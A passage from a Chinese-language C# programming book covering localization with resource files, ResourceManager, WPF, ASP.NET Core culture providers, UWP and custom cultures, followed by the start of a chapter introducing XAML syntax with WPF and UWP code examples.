保存。为此,可以在SaveAs对话框中选择UTF8编码。 可以使用资源文件生成器(Resgen.exe)实用程序在 Wrox.ProCSharp.Localization.MyResources.txt的外部创建一个资源文件,输入如下代码: resgen Wrox.ProCSharp.Localization.MyResources.txt 这会创建Wrox.ProCSharp.Localization.MyResources.resources文件。得到的资源文件可 以作为一个外部文件添加到程序集中,或者内嵌到DLL或EXE中。Resgen还可以创建基于 XML的.resX资源文件。构建XML文件的一种简单方法是使用Resgen本身: resgen Wrox.ProCSharp.Localization.MyResources.txt Wrox.ProCSharp.Localization.MyResources.resX 这条命令创建了XML资源文件Wrox.ProCSharp.Localization.MyResources.resX。 Resgen支持强类型化的资源。强类型化的资源用一个访问资源的类表示。这个类可以用 Resgen实用程序的/str选项创建: resgen /str:C#, Wrox.ProCSharp.Localization, MyResources, MyResources.cs Wrox.ProCSharp.Localization.MyResources.resX 在/str选项中,按照语言、名称空间、类名和源代码文件名的顺序定义资源。 28.3.3 通过ResourceManager使用资源文件 使用旧C#编译器csc.exe,可以使用/resource选项把资源文件添加到程序集中。使用新 的.NET Core编译器,需要在文件夹中添加一个resx文件,并嵌入程序集。默认情况下, 所有的resx文件都嵌入程序集。可以在project.json文件中使用resource、resourceFiles和 resourceExclude节点自定义它。 resource的默认设置是嵌入所有资源文件: "resource": ["embed/**/*.*"] 要定义应该排除在外的目录foo和bar,应定义resourceExclude: "resourceExclude": ["foo/**/*.resx", "bar/**/*.*"], 要定义特定的资源文件,可以使用resourceFiles节点: "resourceFiles": ["embed/Resources/Sample.resx", "embed/Views/View1.resources "], 要了解资源文件如何使用ResourceManager类加载,创建一个控制台应用程序 (包),命名为ResourcesDemo。这个示例使用以下依赖项和名称空间: 依赖项: NETStandard.Library 名称空间: System.Globalization System.Reflection System.Resources static System.Console 创建一个Resources文件夹,在其中添加Messages.resx文件。Messages.resx文件填充了 English-US内容的键和值,例如键GoodMorning和值Good Morning!这是默认的语言。可 以添加其他语言资源文件和命名约定,把区域性添加到资源文件中,例如, Messages.de.resx表示德语,Messages.de-AT.resx表示奥地利口音。 要访问嵌入式资源,使用System.Resources名称空间和NuGet包 System.Resources.Resource-Manager中的ResourceManager类。实例化ResourceManager时, 一个重载的构造函数需要资源的名称和程序集。应用程序的名称空间是ResourcesDemo; 资源文件在Resources文件夹中,它定义了子名称空间Resources,其名称是 Messages.resx。它定义了名称ResourcesDemo.Resources.Messages。可以使用Program类型 的GetTypeInfo方法检索资源的程序集,它定义了一个Assembly属性。使用resources实例, GetString方法返回从资源文件传递的键的值。给第二个参数传递一个区域性,例如de- AT,就在de-AT资源文件中查找资源。如果没有找到,就提取中性语言de,在de资源文件 中查找资源。如果没有找到,就在没有指定区域性的默认资源文件中查找,返回值(代码 文件ResourcesDemo / Program.cs): var resources = new ResourceManager("ResourcesDemo.Resources.Messages", typeof(Program).GetTypeInfo().Assembly); string goodMorning = resources.GetString("GoodMorning", new CultureInfo("de-AT")); WriteLine(goodMorning); ResourceManager构造函数的另一个重载版本只需要类的类型。这个ResourceManager 查找Program.resx资源文件: var programResources = new ResourceManager(typeof(Program)); WriteLine(programResources.GetString("Resource1")); 28.3.4 System.Resources名称空间 在举例之前,本节先复习一下System.Resources名称空间中处理资源的类: ● ResourceManager类可以用于从程序集或资源文件中获取当前区域性的资源。使用 ResourceManager类还可以获取特定区域性的ResourceSet类。 ● ResourceSet类表示特定区域性的资源。在创建ResourceSet类的实例时,它会枚举一 个实现IResourceReader接口的类,并在散列表中存储所有的资源。 ● IResourceReader接口用于从ResourceSet中枚举资源。ResourceReader类实现这个接 口。 ● ResourceWriter类用于创建资源文件。ResourceWriter类实现IResourceWriter接口。 28.4 使用WPF本地化 对于WPF,可以使用.NET资源,类似于控制台应用程序。为了说明如何对WPF应用 程序使用资源,创建一个简单的WPF应用程序,它只包含一个按钮,如图28-7所示。 图28-7 这个应用程序的XAML代码如下: <Window x:Class="WpfApplication.MainWindow" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" Title="WPF Sample" Height="350" Width="525"> <Grid> <Button Name="button1" Margin="30,20,30,20" Click="Button_Click" Content="English Button" /> </Grid> </Window> 在按钮的Click事件的处理程序代码中,仅弹出一个包含示例消息的消息框: private void Button_Click(object sender, RoutedEventArgs e) { MessageBox.Show("English Message"); }  注意: WPF和XAML参见第29和34章。 可以用处理其他应用程序的方式把.NET资源添加到WPF应用程序中。在 Resources.resx文件中定义资源Button1Text和Button1Message。这个文件在WPF项目中自动 创建。它在Solution Explorer的Properties文件夹中。这个资源文件默认使用Internal访问修 饰符来创建Resources类。为了在XAML中使用它,需要在托管资源编辑器中把修饰符改 为Public。 选择资源文件,打开Properties窗口,可以看到自定义工具 PublicResXFileCodeGenerator被分配给文件。这个代码生成器创建了一个强类型代码文 件,来访问资源。生成的代码文件用资源键的名称提供了公共静态属性,来访问 ResourceManager,在下面的代码片段中可以使用Button1Text属性看到它。这里使用的 ResourceManager是一个属性,它返回ResourceManager类的一个实例,该实例是使用单例 模式创建的: public static string Button1Text { get { return ResourceManager.GetString("Button1Text", resourceCulture); } } 要使用生成的资源类,需要修改XAML代码。添加一个XML名称空间别名,以引 用.NET名称空间WpfApplication.Properties,如下所示。这里,把别名设置为props。在 XAML元素中,这个类的属性可以用于x:Static标记扩展。把Button的Content属性设置为 Resources类的Button1Text属性(代码文件WPFApplication/MainWindow.xaml)。 <Window x:Class="WpfApplication.MainWindow" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:props="clr-namespace:WpfApplication.Properties" Title="WPF Sample" Height="350" Width="525"> <Grid> <Button Name="button1" Margin="30,20,30,20" Click="Button_Click" Content="{x:Static Member=props:Resources.Button1Text}" /> </Grid> </Window> 要在代码隐藏中使用.NET资源,可以直接访问Button1Message属性(代码文件 WPFApplication\MainWindow.xaml.cs): private void Button_Click(object sender, RoutedEventArgs e) { MessageBox.Show(Properties.Resources.Button1Message); } 现在资源可以以前面介绍的方式本地化了。 28.5 使用ASP.NET Core本地化  注意: 使用本地化与ASP.NET Core,需要了解本章讨论的区域性和资源,以 及如何创建ASP.NET Core应用程序。如果以前没有使用ASP.NET Core创建ASP.NET Core Web应用程序,就应该阅读第40章,再继续学习本章的这部分内容。 本地化ASP.NET Core Web应用程序时,可以使用CultureInfo类和资源,其方式类似 于本章前面的内容,但有一些额外的问题需要解决。设置完整应用程序的区域性不能满足 一般需求,因为用户来自不同的区域。所以有必要给到服务器的每个请求设置区域性。 怎么知道用户的区域性呢?这有不同的选项。浏览器在每个请求的HTTP标题中发送 首选语言。浏览器中的这个信息可以来自浏览器设置,或浏览器本身会检查安装的语言。 另一个选项是定义URL参数,或为不同的语言使用不同的域名。可以在一些场景中使用不 同的域名,例如为网站www. cninnovation.com使用英文版本,为www.cninnovation.de使用 德语版本。但是www.cninnovation.ch呢?应该提供德语、法语和意大利语版本。这里, URL参数,如www.cninnovation.com/culture=de,会有所帮助。使用 www.cninnovation.com/de的工作方式类似于定义特定路由的URL参数。另一个选择是允许 用户选择语言,定义一个cookie,来记住这个选项。 ASP.NET Core 1.0支持所有这些场景。 28.5.1 注册本地化服务 为了开始注册操作,使用Empty ASP.NET Core 1.0项目模板创建一个新的ASP.NET Web应用程序。本项目利用以下依赖项和名称空间: 依赖项: Microsoft.AspNetCore.Hosting Microsoft.AspNetCore.Features Microsoft.AspNetCore.IISPlatformHandler Microsoft.AspNetCore.Localization Microsoft.AspNetCore.Server.Kestrel Microsoft.Extensions.Localization System.Globalization 名称空间: Microsoft.AspNetCore.Builder Microsoft.AspNetCore.Hosting Microsoft.AspNetCore.Http Microsoft.AspNetCore.Http.Features Microsoft.AspNetCore.Localization Microsoft.Extensions.DependencyInjection Microsoft.Extensions.Localization System System.Globalization System.Net 在Startup类中,需要调用AddLocalization扩展方法来注册本地化的服务(代码文件 WebAppli-cationSample / Startup.cs): public void ConfigureServices(IServiceCollection services) { services.AddLocalization(options => options.ResourcesPath = "CustomResource s"); } AddLocalization方法为接口IStringLocalizerFactory和IStringLocalizer注册服务。在注册 代码中,类型ResourceManagerStringLocalizerFactory注册为singleton, StringLocalizer注册短 暂的生存期。类ResourceManagerStringLocalizerFactory是ResourceManagerStringLocalizer 的一个工厂。这个类利用前面的ResourceManager类,从资源文件中检索字符串。 28.5.2 注入本地化服务 将本地化添加到服务集合后,就可以在Startup类的Configure方法中请求本地化。 UseRequestLocalization方法定义了一个重载版本,在其中可以传递 RequestLocalizationOptions。RequestLocalizationOptions允许定制应该支持的区域性并设置 默认的区域性。这里,DefaultRequestCulture被设置为en-us。类RequestCulture只是一个小 包装,其中包含了用于格式化的区域性(它可以通过Culture属性来访问)和使用资源的区 域性(UICulture属性)。示例代码给SupportedCultures和SupportedUICultures接受en-us、 de-AT和de区域性: public void Configure(IApplicationBuilder app, IStringLocalizer<Startup> sr ) { app.UseIISPlatformHandler(); var options = new RequestLocalizationOptions { DefaultRequestCulture = new RequestCulture(new CultureInfo("en-US")), SupportedCultures = new CultureInfo[] { new CultureInfo("en-US"), new CultureInfo("de-AT"), new CultureInfo("de"), }, SupportedUICultures = new CultureInfo[] { new CultureInfo("en-US"), new CultureInfo("de-AT"), new CultureInfo("de"), } }; app.UseRequestLocalization(options); // etc. } 有了RequestLocalizationOptions设置,也设置属性RequestCultureProviders。默认情况 下配置3个提供程序:QueryStringRequestCultureProvider、CookieRequestCultureProvider和 AcceptLanguage-HeaderRequestCultureProvider。 28.5.3 区域性提供程序 下面详细讨论这些区域性提供程序。QueryStringRequestCultureProvider使用查询字符 串检索区域性。默认情况下,查询参数culture和ui-culture用于这个区域性提供程序,如下 面的URL所示: http://localhost:5000/? culture=de&ui-culture=en-US 还可以通过设置QueryStringRequestCultureProvider的QueryStringKey和 UIQueryStringKey属性来更改查询参数。 CookieRequestCultureProvider定义了名为ASPNET_CULTURE的cookie (可以使用 CookieName属性设置)。检索这个cookie的值,来设置区域性。为了创建一个cookie,并 将其发送到客户端,可以使用静态方法MakeCookieValue,从RequestCulture中创建一个 cookie,并将其发送到客户端。CookieRequestCultureProvider使用静态方法 ParseCookieValue获得RequestCulture。 设置区域性的第三个选项是,可以使用浏览器发送的HTTP标题信息。发送的HTTP标 题如下所示: Accept-Language: en-us, de-at; q=0.8, it; q=0.7 AcceptLanguageHeaderRequestCultureProvider使用这些信息来设置区域性。使用至多 三个语言值,其顺序由quality值定义,找到与支持的区域性匹配的第一个值。 下面的代码片段现在使用请求的区域性生成HTML输出。首先,使用 IRequestCultureFeature协定访问请求的区域性。实现接口IRequestCultureFeature的 RequestCultureFeature使用匹配区域性设置的第一个区域性提供程序。如果URL定义了一 个匹配区域性参数的查询字符串,就使用QueryStringRequestCultureProvider返回所请求的 区域性。如果URL不匹配,但收到名为ASPNET_CULTURE的cookie,就使用 CookieRequestCultureProvider,否则使用AcceptLanguage-RequestCultureProvider。使用返 回的RequestCulture的属性,把由此产生的、用户使用的区域性写入响应流。接着,使用 当前的区域性把当前的日期写入流。这里使用的IStringLocalizer类型的变量需要一些更多 的检查,如下: public void Configure(IApplicationBuilder app, IStringLocalizer<Startup> sr ) { // etc. app.Run(async context => { IRequestCultureFeature requestCultureFeature = context.GetFeature<IRequestCultureFeature>(); RequestCulture requestCulture = requestCultureFeature.RequestCulture; var today = DateTime.Today; context.Response.StatusCode = 200; await context.Response.WriteAsync("<h1>Sample Localization</h1>"); await context.Response.WriteAsync( $"<div>{requestCulture.Culture} {requestCulture.UICulture}</div>"); await context.Response.WriteAsync($"<div>{today:D}</div>"); // etc. await context.Response.WriteAsync($"<div>{sr["message1"] }</div>"); await context.Response.WriteAsync($"<div>{sr.GetString("message1")}</div> "); await context.Response.WriteAsync($"<div>{sr.GetString("message2", requestCulture.Culture, requestCulture.UICulture)}</div>"); }); } 28.5.4 在ASP.NET Core中使用资源 如“资源”一节所述,资源文件可以用于ASP.NET Core 1.0。样例项目添加了文件 Startup.resx以及CustomResources文件夹。资源的本地化版本用Startup.de.resx和Startup.de- AT.resx提供。 在注入本地化服务时,存储资源的文件夹名称用选项定义(代码文件 WebApplicationSample /Startup.cs): public void ConfigureServices(IServiceCollection services) { services.AddLocalization( options => options.ResourcesPath = "CustomResources"); } 在依赖注入中,IStringLocalizer <Startup>注入为Configure方法的一个参数。使用泛型 类型的Startup参数,在resources目录中找到一个具有相同名称的资源文件,它匹配 Startup.resx。 public void Configure(IApplicationBuilder app, IStringLocalizer<Startup> sr ) { // etc. } 下面的代码片段利用IStringLocalizer <Startup>类型的变量sr,通过一个索引器和 GetString方法访问资源message1。资源message2使用字符串格式占位符,它用GetString方 法的一个重载版本注入,其中可以传递任何数量的参数: public void Configure(IApplicationBuilder app, IStringLocalizer<Startup> sr ) { // etc. app.Run(async context => { // etc. await context.Response.WriteAsync($"<div>{sr["message1"] }</div>"); await context.Response.WriteAsync($"<div>{sr.GetString("message1") }</div>"); await context.Response.WriteAsync($"<div>{sr.GetString("message2", requestCulture.Culture, requestCulture.UICulture) }</div>"); }); } string localized1 = sr["message1"]; message2的资源用字符串格式占位符定义: Using culture {0} and UI culture {1} 运行Web应用程序,得到的视图如图28-8所示。 图28-8 28.6 本地化通用Windows平台 用Universal Windows Platform (UWP)进行本地化基于前面学习的概念,但带来了 一些新理念,如下所述。为了获得最佳的体验,需要通过Visual Studio Extensions and Updates安装Multilingual App Toolkit。 区域性、区域和资源的概念是相同的,但因为Windows应用程序可以用C#和XAML、 C++和XAML、JavaScript和HTML来编写,所以这些概念必须可用于所有的语言。只有 Windows Runtime能用于所有这些编程语言和Windows应用程序。因此,用于全球化和资 源的新名称空间可通过Windows Runtime来使用:Windows.Globalization和 Windows.AppalicationModel.Resources。在全球化名称空间中包含Calendar、 GeographicRegion(对应于.NET的RegionInfo)和Language类。在其子名称空间中,还有 一些数字和日期格式化类随着语言的不同而改变。在C#和Windows应用程序中,仍可以使 用.NET类表示区域性和区域。 下面举一个例子,说明如何用Universal Windows应用程序进行本地化。使用Blank App (Universal APP)Visual Studio项目模板创建一个小应用程序。在页面上添加两个 TextBlock和一个TextBox控件。 在代码文件的OnNavigatedTo()方法中,可以把具有当前格式的日期赋予text1控件 的Text属性。DateTime结构可以用非常类似于本章前面控制台应用程序的方式使用(代码 文件UWPLocalization/MainPage.xaml.cs): protected override void OnNavigatedTo(NavigationEventArgs e) { base.OnNavigatedTo(e); text1.Text = DateTime.Today.ToString("D"); //... } 28.6.1 给UWP使用资源 图28-9 在UWP中,可以用文件扩展名resw替代resx,以创建 资源文件。在后台,resw文件使用相同的XML格式,可以 使用相同的Visual Studio资源编辑器创建和修改这些文 件。下例使用如图28-9所示的结构。子文件夹Message包 含一个子目录en-us,在其中创建了两个资源文件 Errors.resw和Messages.resw。在Strings\en-us文件夹中,创 建了资源文件Resources.resw。 Messages.resw文件包含一些英语文本资源,Hello的值 是Hello World,资源的名称是GoodDay、GoodEvening和 GoodMorning。文件Resources.resw包含资源Text3.Text和 Text3.Width,其值分别是“This is a sample message for Text4”和300。 在代码中,使用Windows.AppalicationModel.Resources名称空间中的ResourcesLoader 类可以访问资源。这里使用字符串“Messages”作为GetForCurrentView方法的参数。因此, 要使用资源文件Messages.resw。调用GetString方法,会检索键为“Hello”的资源(代码文 件UWPLocalization/ MainPage.xaml.cs)。 protected override void OnNavigatedTo(NavigationEventArgs e) { // etc. var resourceLoader = ResourceLoader.GetForCurrentView("Messages"); text2.Text = resourceLoader.GetString("Hello"); } 在UWP Windows应用程序中,也可以直接在XAML代码中使用资源。对于下面的 TextBox,给x:Uid特性赋予值Text3。这样,就会在资源文件Resources.resw中搜索名为 Text3的资源。这个资源文件包含键Text3.Text和Text3.Width的值。检索这些值,并设置 Text和Width属性(代码文件UWPLocalization/MainPage.xaml): <TextBox x:Uid="FileName_Text3" HorizontalAlignment="Left" Margin="50" TextWrapping="Wrap" Text="TextBox" VerticalAlignment="Top"/> 28.6.2 使用多语言应用程序工具集进行本地化 为了本地化UWP应用程序,可以下载前面提及的Multilingual App Toolkit。这个工具 包集成在Visual Studio 2015中。安装了该工具包后,就可以通过Tools | Enable Multilingual Toolkit,为UWP应用程序启用它。这会在项目文件中添加一个生成命令,在Solution Explorer的上下文菜单中添加一个菜单项。打开该上下文菜单,选择Multilingual App Toolkit | Add Translation Languages,打开如图28-10所示的对话框,在其中可以选择要翻 译为哪种语言。该示例选择Pseudo Language、French、German和Spanish。对于这些语 言,可以使用Microsoft Translator。这个工具现在创建一个MultilingualResources子目录, 其中包含所选语言的.xlf文件。.xlf文件用XLIFF(XML LocalisationInterchange File Format)标准定义,这是Open Architecture for XML Authoring and Localization(OAXAL) 参考架构的一个标准。 图28-10  注意: Multilingual App Toolkit也可以在http://aka.ms/ matinstallv4上安装,无 须使用Visual Studio。下载Multilingual App Toolkit。 下次启动项目的生成过程时,XLIFF文件就会从所有资源中填充相应的内容。在 Solution Explorer中选择XLIFF文件,就可以把它们直接发送给翻译过程。为此,在 Solution Explorer中打开上下文菜单,选择.xlf文件,选择Multilingual App Toolkit | Export translations. . .,打开如图28-11所示的对话框,在其中可以配置应发送的信息,也可以发 送电子邮件,添加XLIFF文件作为附件。 图28-11 对于翻译,还可以使用微软的翻译服务。在Visual Studio Solution Explorer中选择.xlf 文件,打开上下文菜单后,选择Multilingual App Toolkit | Generate Machine Translations。 打开.xlf文件时,会打开Multilingual Editor (参见图28-12)。有了这个工具,就可以 验证自动翻译,并进行必要的修改。 图28-12 没有人工检查,就不要使用机器翻译。该工具会为每个已翻译的资源显示状态。自动 翻译完成后,状态设置为Needs Review。自动翻译的结果可能不正确,有时还很可笑。 28.7 创建自定义区域性 随着时间的推移,.NET Framework支持的语言越来越多。但并不是所有语言都可用 于.NET。对于不可用于.NET的语言,可以创建自定义区域性。例如,为了给一个区域的 少数民族创建自定义区域性,或者给不同的方言创建子区域性,创建自定义区域性就很有 用。 自定义区域性和区域可以用System.Globalization名称空间中的 CultureAndRegionInfoBuilder类创建,这个类位于sysglobl程序集中。 在CultureAndRegionInfoBuilder类的构造函数中,可以传递区域性名。该构造函数的 第二个参数需要CultureAndRegionModifiers类型的一个枚举。这个枚举有3个值:Neutral 表示中立区域性;如果应替换已有的Framework区域性,就使用值Replacement;第3个值 是None。 在实例化CultureAndRegionInfoBuilder对象后,就可以设置属性来配置区域性。使用 这个类的一些属性,可以定义所有的区域性和区域信息,如名称、日历、数字格式、米制 信息等。如果区域性应基于已有的区域性和区域,就可以使用 LoadDataFromCultureInfo()和LoadDataFromRegionInfo()方法设置实例的属性,之后 通过设置属性来修改不同的值。 调用Register()方法,给操作系统注册新区域性。描述区域性的文件位于 <windows>\Globalization目录中,其扩展名是.nlp(代码文件 CustomCultures/Program.cs)。 using System; using System.Globalization; using static System.Console; namespace CustomCultures { class Program { static void Main() { try { // Create a Styria culture var styria = new CultureAndRegionInfoBuilder("de-AT-ST", CultureAndRegionModifiers.None); var cultureParent = new CultureInfo("de-AT"); styria.LoadDataFromCultureInfo(cultureParent); styria.LoadDataFromRegionInfo(new RegionInfo("AT")); styria.Parent = cultureParent; styria.RegionNativeName = "Steiermark"; styria.RegionEnglishName = "Styria"; styria.CultureEnglishName = "Styria (Austria)"; styria.CultureNativeName = "Steirisch"; styria.Register(); } catch (UnauthorizedAccessException ex) { WriteLine(ex.Message); } } } } 因为在系统上注册自定义语言需要管理员权限,所以使用控制台应用程序项目模板创 建示例应用程序,再添加应用程序清单文件。这个清单文件指定了请求的执行权限。在项 目属性中,清单文件必须在Application设置中设置: <? xml version="1.0" encoding="utf-8"? > <asmv1:assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1 " xmlsn:asmv1="urn:schemas-microsoft-com:asm.v1" xmlns:asmv2="urn:schemas-micro soft- com:asm.v2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2"> <security> <requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3" > <requestedExecutionLevel level="requireAdministrator" uiAccess="false" / > </requestedPrivileges> </security> </trustInfo> </asmv1:assembly> 现在新建的区域性就可以像其他区域性那样使用了: var ci = new CultureInfo("de-AT-ST"); CultureInfo.CurrentCulture = ci; CultureInfo.CurrentUICulture = ci; 区域性可以用于格式化和资源。如果再次启动本章前面编写的Cultures In Action应用 程序,就可以看到自定义区域性。 28.8 小结 本章讨论了.NET应用程序的全球化和本地化。对于应用程序的全球化,我们讨论了 System.Globalization名称空间,它用于格式化依赖于区域性的数字和日期。此外,说明了 在默认情况下,字符串的排序取决于区域性。我们使用不变的区域性进行独立于区域性的 排序。并且,本章讨论了如何使用CultureAndRegionInfoBuilder类创建自定义区域性。 应用程序的本地化使用资源来实现。资源可以放在文件、附属程序集或自定义存储器 (如数据库)中。本地化所使用的类位于System.Resources名称空间中。要从其他地方读 取资源,如附属程序集或资源文件,可以创建自定义资源读取器。 我们还学习了如何本地化WPF、ASP.NET Core应用程序和使用UWP的应用程序。 下一章介绍XAML, XAML用于UWP和WPF,所以下一章提供了这两种技术的基础。 第Ⅲ部分 Windows应用程序  第29章 核心XAML  第30章 样式化XAML应用程序  第31章 模式和XAML应用程序  第32章 Windows应用程序:用户界面  第33章 高级Windows应用程序  第34章 带WPF的Windows桌面应用程序  第35章 用WPF创建文档  第36章 部署Windows应用程序 第29章 核心XAML 本章要点 ● XAML语法 ● 依赖属性 ● 路由事件 ● 附加属性 ● 标记扩展 本章源代码下载地址(wrox.com): 打开网页http://www.wrox.com/go/professionalcsharp6,单击Download Code选项卡即可 下载本章源代码。本章代码分为以下几个主要的示例文件,用于WPF和Universal Windows应用程序: ● 代码简介 ● XAML简介 ● 依赖对象 ● 路由事件 ● 附加属性 ● 标记扩展 29.1 XAML的作用 编写.NET应用程序时,需要了解的通常不仅仅是C#语法。如果编写Universal Windows应用程序,使用WPF的Windows桌面应用程序、使用WF的工作流、创建XPS文 档、编写Silverlight,就还需要XAML。XAML(eXtensible Application Markup Language, 可扩展应用程序标记语言)是一种声明性的XML语法,上述这些应用程序通常需要 XAML。本章详细介绍XAML的语法,以及可用于这种标记语言的扩展机制。本章描述了 在WPF应用程序中的XAML和使用Universal Windows Platform (UWP)的Windows应用 程序中的XAML之间的差异。 可以用XAML完成的工作都可以用C#实现,那么,为什么还需要XAML? XAML通常 用于描述对象及其属性,在很深的层次结构中,这是可能的。例如,Window控件包含一 个Grid控件,Grid控件包含一个StackPanel和其他控件,StackPanel包含按钮和文本框控 件。XAML便于描述这种层次结构,并通过XML属性或元素分配对象的属性。 XAML允许以声明式的方式编写代码,而C#主要是一种命令式编程语言。XAML支 持声明式定义。在命令式编程语言中,用C#代码定义一个for循环,编译器就使用中间语 言(IL)代码创建一个for循环。在声明性编程语言中,声明应该做什么,而不是如何完 成。虽然C#不是纯粹的命令式编程语言,但使用LINQ时,也是在以声明方式编写语法。 XAML是一个XML语法,但它定义了XML的几个增强。XAML仍然是有效的XML, 但是一些增强有特殊的意义,例如,在XML属性中使用花括号,子元素的命名方式。 有效使用XAML之前,需要了解这门语言的一些重要特性。本章介绍了如下XAML特 性: ● 依赖属性: 从外部看起来,依赖属性像正常属性。然而,它们需要更少的存储空 间,实现了变更通知。 ● 路由事件: 从外面看起来,路由事件像正常的.NET事件。然而,通过添加和删除 访问器来使用自定义事件实现方式,就允许冒泡和隧道。事件从外部控件进入内 部控件称为隧道,从内部控件进入外部控件称为冒泡。 ● 附加属性: 通过附加属性,可以给其他控件添加属性。例如,按钮控件没有属性 用于把它自己定位在网格控件的特定行和列上。在XAML中,看起来有这样一个 属性。 ● 标记扩展: 编写XML特性需要的编码比XML元素少。然而,XML特性只能是字符 串;使用XML语法可以编写更强大的元素。为了减少需要编写的代码量,标记扩 展允许在特性中编写强大的语法。  注意: .NET属性参见第3章。事件,包括通过添加和删除访问器编写自定义 事件,详见第9章,XML的功能参见第27章。 29.2 XAML概述 XAML代码使用文本XML来声明。XAML代码可以使用设计器创建,也可以手动编 写。Visual Studio包含的设计器可给WPF、Silverlight、WF或Universal Windows应用程序 编写XAML代码。也可以使用其他工具创建XAML,如Blend for Visual Studio 2015。 Visual Studio最适合编写源代码,Blend最适合创建样式、模板和动画。在Visual Studio 2013中,Blend和Visual Studio开始共享相同的XAML设计器。Blend 2015年重写为与 Visual Studio共享相同的外壳。Visual Studio用户会立即感觉使用Blend 2015很顺手。 下面讨论XAML。在WPF应用程序中,XAML元素映射到.NET类。对于XAML,这 并不是一个严格的要求。在Silverlight 1.0中,.NET不能用于插件,只能使用JavaScript解 释和通过编程方法访问XAML代码。这种情况自Silverlight 2.0以来有了改变,.NET Framework的一个小型版本是Silverlight插件的一部分。对于Silverlight或WPF,每个 XAML元素都对应一个.NET类。对于Windows应用程序,每个XAML元素都对应一个 Windows Runtime类型。 XAML代码在生成过程中会发生什么?为了编译WPF项目,应在程序集 PresentationBuildTasks中定义MSBuild任务MarkupCompilePass1和MarkupCompilePass2。这 些MSBuild任务会创建标记代码的二进制表示BAML(Binary Application Markup Language,二进制应用程序标记语言),并添加到程序集的.NET资源中。在运行期间, 会使用该二进制表示。 29.2.1 使用WPF把元素映射到类上 如上一节所述,XAML元素通常映射到.NET类或Windows Runtime类上。下面利用C# 控制台项目在Window中通过编程方式创建一个Button对象。如下面的代码所示,实例化 一个Button对象,并把其Content属性设置为一个字符串;定义一个Window,设置其Title 和Content属性。要编译这段代码,需要引用程序集PresentationFramework、 PresentationCore、WindowBase和System.Xaml(代码文件CodeIntroWPF/Program.cs)。 using System; using System.Windows; using System.Windows.Controls; namespace CodeIntroWPF { class Program { [STAThread] static void Main() { var b = new Button { Content = "Click Me! " }; b.Click += (sender, e) => { b.Content = "clicked"; }; var w = new Window { Title = "Code Demo", Content = b }; var app = new Application(); app.Run(w); } } }  注意: 在.NET Framework中,System.Windows名称空间中除了System. Windows.Forms(包括较早的Windows Forms技术)之外的所有内容都属于WPF。 使用XAML代码可以创建类似的UI。与以前一样,这段代码创建了一个包含Button元 素的Window元素。为Window元素设置了其内容和Title特性(代码文件XAMLIntroWPF /MainWindow. xaml)。 <Window x:Class="XAMLIntroWPF.MainWindow" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" Title="XAML Demo" Height="350" Width="525"> <! -etc.-> <Button Content="Click Me! " Click="OnButtonClicked" /> <! -etc.-> </Window> 当然,上面的代码没有定义Application实例,它也可以用XAML定义。在Application 元素中,设置了StartupUri特性,它链接到包含主窗口的XAML文件上(XAML文件 XAMLIntroWPF/App. xaml)。 <Application x:Class="XAMLIntroWPF.App" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" StartupUri="MainWindow.xaml "> <Application.Resources> </Application.Resources> </Application> 29.2.2 通过通用Windows应用程序把元素映射 到类上 通过Universal Windows Platform (UWP)应用程序映射类型,类似于使用WPF映射 类型,但使用Windows运行库定义的是完全不同的类型。下面再次不使用XAML。使用用 于Windows Universal应用程序的Blank App模板可以创建一个应用程序,删除XAML文件 (包括MainPage. xaml以及App.xaml,其中包括C#后台编码文件)。为了不自动在设计器 中创建Main方法,必须在项目属性的Build设置中,设置条件编译符号DISABLE_XAML_ GENERATED_MAIN。 在Main方法中,需要启动应用程序。与WPF类似,这里也使用Application类。这次, 它来自Windows.UI.Xaml名称空间。不调用Run实例方法,这个类定义了一个Start静态方 法。Start方法定义了一个ApplicationInitializationCallback委托参数,在应用程序的初始化 过程中调用它。在这个初始化中,创建一个按钮(Windows.UI.Xaml.Controls名称空 间),激活当前窗口: using System; using Windows.ApplicationModel.Activation; using Windows.UI.Xaml; using Windows.UI.Xaml.Controls; namespace CodeIntroUWP { partial class Program { [STAThread] public static void Main() { Application.Start(p => { var b = new Button { Content = "Click Me! " }; b.Click += (sender, e) => { b.Content = "clicked"; }; Window.Current.Content = b; Window.Current.Activate(); }); } } } 用XAML创建相同的用户界面,创建一个新的通用Windows应用程序项目。其XAML 代码和WPF的XAML代码非常相似,但使用了Page,而不是Window。甚至XML名称空间 相同,然而,XAML类型从Windows运行库映射到名称空间(代码文件XamlIntroUWP / MainPage.xaml): <Page x:Class="XamlIntroUWP.MainPage" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"> <! -etc.-> <Button Content="Click Me! " x:Name="button1" Click="OnButtonClick" /> <! -etc.-> </Page> 29.2.3 使用自定义.NET类 要在XAML代码中使用自定义.NET类,只需要在XAML中声明.NET名称空间,并定 义一个XML别名。为了说明这个过程,下面定义了一个简单的Person类及其FirstName和 LastName属性(代码文件DataLib/Person.cs)。 public class Person { public string FirstName { get; set; } public string LastName { get; set; } public override string ToString() => $"{FirstName} {LastName}"; }  注意: 要在WPF和UWP应用程序中使用类型,把DataLib库创建为一个可移 植的库。 在XAML中,定义一个XML名称空间别名datalib,它映射到程序集DataLib的.NET名 称空间DataLib上。如果类型与窗口在相同的程序集中,就可以在这个声明中删除程序集 名。有了这个别名,就可以在元素的前面加上别名,使用该名称空间中的所有类了。 在XAML代码中,添加了一个列表框,其中包含Person类型的项。使用XAML特性, 设置FirstName和LastName属性的值。运行该应用程序时,ToString()方法的输出会显示 在列表框中(代码文件XAMLIntroWPF/MainWindow.xaml)。 <Window x:Class="XamlIntroWPF.MainWindow" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:datalib="clr-namespace:DataLib; assembly=DataLib" Title="XAML Demo" 